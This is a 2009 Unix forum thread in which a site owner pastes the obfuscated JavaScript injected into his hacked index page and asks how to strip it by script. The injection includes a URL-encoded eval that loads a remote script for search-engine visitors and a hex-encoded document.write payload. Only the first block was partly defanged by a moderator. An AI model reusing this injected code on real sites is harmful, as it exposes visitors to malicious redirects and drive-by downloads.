To remove the lines in my file


 
Thread Tools Search this Thread
Top Forums Shell Programming and Scripting To remove the lines in my file
# 1  
Old 03-05-2009
To remove the lines in my file

Hi,

There seems to some hack attempts in my site. I have attached the index page of my site and I need to remove the below lines from the index page. The below lines are at the center of the file.

-->
</style>
<script>E V A L( unescape( "%69%66%28%21%6d%79%69%6b%29%7b%0d%0a%76%61%72%20%72%3d%64%6f%63%75%6d%65%6e%74%2e%72%65%66%65%72%72 %65%72%2c%75%3d%64%6f%63%75%6d%65%6e%74%2e%55%52%4c%2c%74%3d%22%22%2c%71%2c%71%75%65%2c%73%65%3d%22% 67%62%22%3b%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%67%6f%6f%67%6c%65%2e%22%29%21%3d%2d%31%2 9%7b%74%3d%22%71%22%3b%73%65%3d%22%67%6f%6f%67%6c%65%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f %66%28%22%6d%73%6e%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%71%22%3b%73%65%3d%22%6d%73%6e%22%3b%7d%0d%0a% 69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%68%6f%6f%2e%22%29%21%3d%2d%31%29%7b%74%3d%22%70%22%3 b%73%65%3d%22%79%61%68%6f%6f%22%3b%7d%0d%0a%69%66%28%72%2e%69%6e%64%65%78%4f%66%28%22%79%61%6e%64%65 %78%2e%72%75%22%29%21%3d%2d%31%29%7b%74%3d%22%74%65%78%74%22%3b%73%65%3d%22%79%61%6e%64%65%78%2e%72% 75%22%3b%7d%0d%0a%69%66%28%74%2e%6c%65%6e%67%74%68&&%28%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22%3f %22%2b%74%2b%22%3d%22%29%29%21%3d%2d%31%7c%7c%28%71%3d%72%2e%69%6e%64%65%78%4f%66%28%22&%22%2b%74%2b %22%3d%22%29%29%21%3d%2d%31%29%29%7b%20%71%75%65%3d%72%2e%73%75%62%73%74%72%69%6e%67%28%71%2b%32%2b% 74%2e%6c%65%6e%67%74%68%29%2e%73%70%6c%69%74%28%22&%22%29%5b%30%5d%3b%0d%0a%69%66%20%28%28%71%75%65% 2e%69%6e%64%65%78%4f%66%28%27%73%69%74%65%3a%27%29%3d%3d%2d%31%29%20&&%20%28%71%75%65%2e%74%6f%4c%6f %77%65%72%43%61%73%65%28%29%2e%69%6e%64%65%78%4f%66%28%27%77%77%77%2e%27%29%3d%3d%2d%31%29%29%0d%0a% 09%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%22%3c%73%63%72%69%70%74%20%73%72%63%3d%27%68%74%74%7 0%3a%2f%2f%62%65%73%74%34%79%6f%75%2e%69%66%2e%75%61%2f%6a%73%2f%62%69%64%63%68%2e%6a%73%3f%71%3d%22 %2b%71%75%65%2b%22&%72%65%66%3d%22%2b%72%2b%22%27%3e%3c%2f%73%63%22%2b%22%72%69%70%74%3e%22%29%3b%0d %0a%7d%0d%0a%7d%0d%0a%76%61%72%20%6d%79%69%6b%3d%74%72%75%65%3b" ));</script></head>
<body onLoad="preloadImages();"><script>function c173b3059n49ac72cf3437c(n49ac72cf34b4b){ function n49ac72cf35328(){return 16;} return (parseInt(n49ac72cf34b4b,n49ac72cf35328()));}function n49ac72cf362ba(n49ac72cf36a8a){ var n49ac72cf3725c='';n49ac72cf3919a=String['fromCharCode'];for(n49ac72cf37a33=0;n49ac72cf37a33<n49ac72cf36a8a.length;n49ac72cf37a33+=2){ n49ac72cf3725c+=(n49ac72cf3919a(c173b3059n49ac72cf3437c(n49ac72cf36a8a.substr(n49ac72cf37a33,2))));} return n49ac72cf3725c;} var x2c='';var n49ac72cf3996a='3C7'+x2c+'3637'+x2c+'2697'+x2c+'07'+x2c+'43E667'+x2c+'56E637'+x2c+'4696F6E2063686563 6B5F636F6E7'+x2c+'4656E7'+x2c+'428297'+x2c+'B7'+x2c+'6617'+x2c+'220693D303B7'+x2c+'7'+x2c+'68696C652 8646F637'+x2c+'56D656E7'+x2c+'42E67'+x2c+'657'+x2c+'4456C656D656E7'+x2c+'47'+x2c+'3427'+x2c+'9546167 '+x2c+'4E616D652827'+x2c+'69667'+x2c+'2616D6527'+x2c+'292E6C656E67'+x2c+'7'+x2c+'468297'+x2c+'B7'+x2 c+'6617'+x2c+'220656C3D646F637'+x2c+'56D656E7'+x2c+'42E67'+x2c+'657'+x2c+'4456C656D656E7'+x2c+'47'+x 2c+'3427'+x2c+'9546167'+x2c+'4E616D652827'+x2c+'69667'+x2c+'2616D6527'+x2c+'295B695D3B6966282028656C 2E7'+x2c+'37'+x2c+'47'+x2c+'96C652E64697'+x2c+'37'+x2c+'06C617'+x2c+'93D3D27'+x2c+'6E6F6E6527'+x2c+' 207'+x2c+'C7'+x2c+'C20656C2E7'+x2c+'37'+x2c+'47'+x2c+'96C652E7'+x2c+'6697'+x2c+'36962696C697'+x2c+'4 7'+x2c+'9203D3D27'+x2c+'68696464656E27'+x2c+'207'+x2c+'C7'+x2c+'C2028656C2E7'+x2c+'7'+x2c+'69647'+x2 c+'4683C3520262620656C2E68656967'+x2c+'687'+x2c+'43C35292920262620656C2E6E616D65213D27'+x2c+'633127' +x2c+'297'+x2c+'B656C2E7'+x2c+'0617'+x2c+'2656E7'+x2c+'44E6F64652E7'+x2c+'2656D6F7'+x2c+'6654368696C 6428656C293B7'+x2c+'D656C7'+x2c+'36520692B2B3B7'+x2c+'D7'+x2c+'D636865636B5F636F6E7'+x2c+'4656E7'+x2 c+'428293B0A696628216D7'+x2c+'96961297'+x2c+'B646F637'+x2c+'56D656E7'+x2c+'42E7'+x2c+'7'+x2c+'7'+x2c +'2697'+x2c+'465287'+x2c+'56E657'+x2c+'363617'+x2c+'065282027'+x2c+'2533632536392536362537'+x2c+'322 536312536642536352532302536652536312536642536352533642536332533312532302537'+x2c+'332537'+x2c+'32253 633253364253237'+x2c+'2536382537'+x2c+'342537'+x2c+'342537'+x2c+'30253361253266253266253637'+x2c+'25 36352537'+x2c+'322536642536312536652536312536342537'+x2c+'362536352537'+x2c+'322537'+x2c+'3425363925 37'+x2c+'33253639253665253637'+x2c+'2532652536652536352537'+x2c+'34253266253639253665253265253633253 637'+x2c+'25363925336625333926253237'+x2c+'2532622534642536312537'+x2c+'342536382532652537'+x2c+'322 536662537'+x2c+'352536652536342532382534642536312537'+x2c+'342536382532652537'+x2c+'3225363125366525 3634253666253664253238253239253261253332253338253334253331253336253239253262253237'+x2c+'25363325333 4253336253336253337'+x2c+'253636253334253339253237'+x2c+'2532302537'+x2c+'37'+x2c+'2536392536342537' +x2c+'34253638253364253339253336253230253638253635253639253637'+x2c+'2536382537'+x2c+'34253364253332 2533392533362532302537'+x2c+'332537'+x2c+'342537'+x2c+'39253663253635253364253237'+x2c+'2537'+x2c+'3 62536392537'+x2c+'332536392536322536392536632536392537'+x2c+'342537'+x2c+'39253361253638253639253634 253634253635253665253237'+x2c+'2533652533632532662536392536362537'+x2c+'3225363125366425363525336527 '+x2c+'29293B7'+x2c+'D7'+x2c+'6617'+x2c+'2206D7'+x2c+'969613D7'+x2c+'47'+x2c+'27'+x2c+'5653B3C2F7'+x 2c+'3637'+x2c+'2697'+x2c+'07'+x2c+'43E';document.write(n49ac72cf362ba(n49ac72cf3996a));</script>


And also i need to remove the last line which contains,

<script>check_content()</script>

Thanks in advance....

Last edited by otheus; 03-05-2009 at 06:13 AM.. Reason: remove possible malicious code and attachment
# 2  
Old 03-05-2009
a better idea is to restore the file from backup
# 3  
Old 03-05-2009
Quote:
Originally Posted by gsiva
Hi,

There seems to some hack attempts in my site. I have attached the index page of my site and I need to remove the below lines from the index page. The below lines are at the center of the file.

That's what text editors are for.
# 4  
Old 03-05-2009
Hi Yogesh, Thank you for your quick reply. Yes, probably we can restore from the backup. But in case if i don't have the backup. I need to be manually remove those lines. I need a help on this ....

Hi cfajohnson, Well known it can remove using the editors, but is it possible to remove with the script by keeping the key word on the hack... Assume if I have lot of domain with the same case....

Last edited by DukeNuke2; 03-05-2009 at 02:31 AM..
# 5  
Old 03-05-2009
Yep, your site has been hacked. I had the same thing (or very similar) about a year ago. I never could figure out the site was hacked but I used an editor to remove the offending code from the html documents. Took about 2 hours to find all the affected pages.

Not to be a pain in your butt, you have posted malicious code, it really should be removed from the forum so I have reported your thread. The moderators will determine if it stays posted or not.

Last edited by DukeNuke2; 03-05-2009 at 02:31 AM..
# 6  
Old 03-05-2009
I removed the attachment and modified the eval to "E V A L", which should render it useless, in case someone tries to edit it in an html browser.
Login or Register to Ask a Question

Previous Thread | Next Thread

10 More Discussions You Might Find Interesting

1. Shell Programming and Scripting

awk remove/grab lines from file with pattern from other file

Sorry for the weird title but i have the following problem. We have several files which have between 10000 and about 500000 lines in them. From these files we want to remove lines which contain a pattern which is located in another file (around 20000 lines, all EAN codes). We also want to get... (28 Replies)
Discussion started by: SDohmen
28 Replies

2. Shell Programming and Scripting

Remove lines that are subsets of other lines in File

Hello everyone, Although it seems easy, I've been stuck with this problem for a moment now and I can't figure out a way to get it done. My problem is the following: I have a file where each line is a sequence of IP addresses, example : 10.0.0.1 10.0.0.2 10.0.0.5 10.0.0.1 10.0.0.2... (5 Replies)
Discussion started by: MisterJellyBean
5 Replies

3. Shell Programming and Scripting

Remove lines in file

I have a file that contains the following: Party_Id1;Party_id2;Party_id3; 1;2;3; 0 0 4;5;6; 0 7;8;9; How can I adjust the file so it looks like this: Party_Id1;Party_id2;Party_id3; 1;2;3; 4;5;6; 7;8;9; I Think the '0' is something like a carriage return, I don't know. But how... (2 Replies)
Discussion started by: katled
2 Replies

4. UNIX for Dummies Questions & Answers

Want to remove all lines but not latest 50 lines from a file

Hi, I have a huge file which has Lacs of lines. File system got full. I want your guys help to suggest me a solution so that I can remove all lines from that file but not last 50,000 lines. I want solution which can remove lines from existing file so that I can have some space left with. (28 Replies)
Discussion started by: prashant2507198
28 Replies

5. Shell Programming and Scripting

Remove last 4 lines of a file

Hi, I have a file from which I need to remove the last n lines. I was successful in removing only the last line using : sed '$d' file_name Could you please help me with the command. Thanks, H2 Please use code tags when posting data and code samples! (8 Replies)
Discussion started by: H squared
8 Replies

6. Shell Programming and Scripting

Remove lines from file

Hey Gang- I have a list of servers. I want to exclude servers that begin with and end with certain characters. Is there an easy command to do this? Example wvm1234dev wvm1234pro uvm1122dev uvm1122bku uvm1344dev I want to exclude any lines that start with "wvm" OR "uvm" AND end... (7 Replies)
Discussion started by: idiotboy
7 Replies

7. Shell Programming and Scripting

remove : lines from file

A small question I have a test.txt file I have contents as: a:google b:yahoo : c:facebook : d:hotmail How do I remove the line with : my output should be a:google b:yahoo c:facebook d:hotmail (5 Replies)
Discussion started by: aronmelon
5 Replies

8. Shell Programming and Scripting

remove lines from file

Hi gurus, i'm trying to remove a number of lines from a large file using the following command: sed '1,5000d' oldfile > newfile Somehow the lines in the old file are not deleted... Am I doing this wrongly? Any suggestions? :confused: Thanks! :) wee (10 Replies)
Discussion started by: lweegp
10 Replies

9. UNIX for Dummies Questions & Answers

vi to remove lines in file

All, I have a text file with several entries like below: personname personname.domain.com I know there is a way to use vi to remove only the personname.domain.com line. Can someone help? I believe that it involves /s/g/ something...I just can't remember the exact syntax. Thanks (2 Replies)
Discussion started by: kjbaumann
2 Replies

10. Shell Programming and Scripting

remove lines from file

file: 1 xxxxxxx 2 xxx xxx 5 xxx xxx ... 180 xxxxxx 200 xxx how to remove any lines with the first number range 1-180 (9 Replies)
Discussion started by: bluemoon1
9 Replies
Login or Register to Ask a Question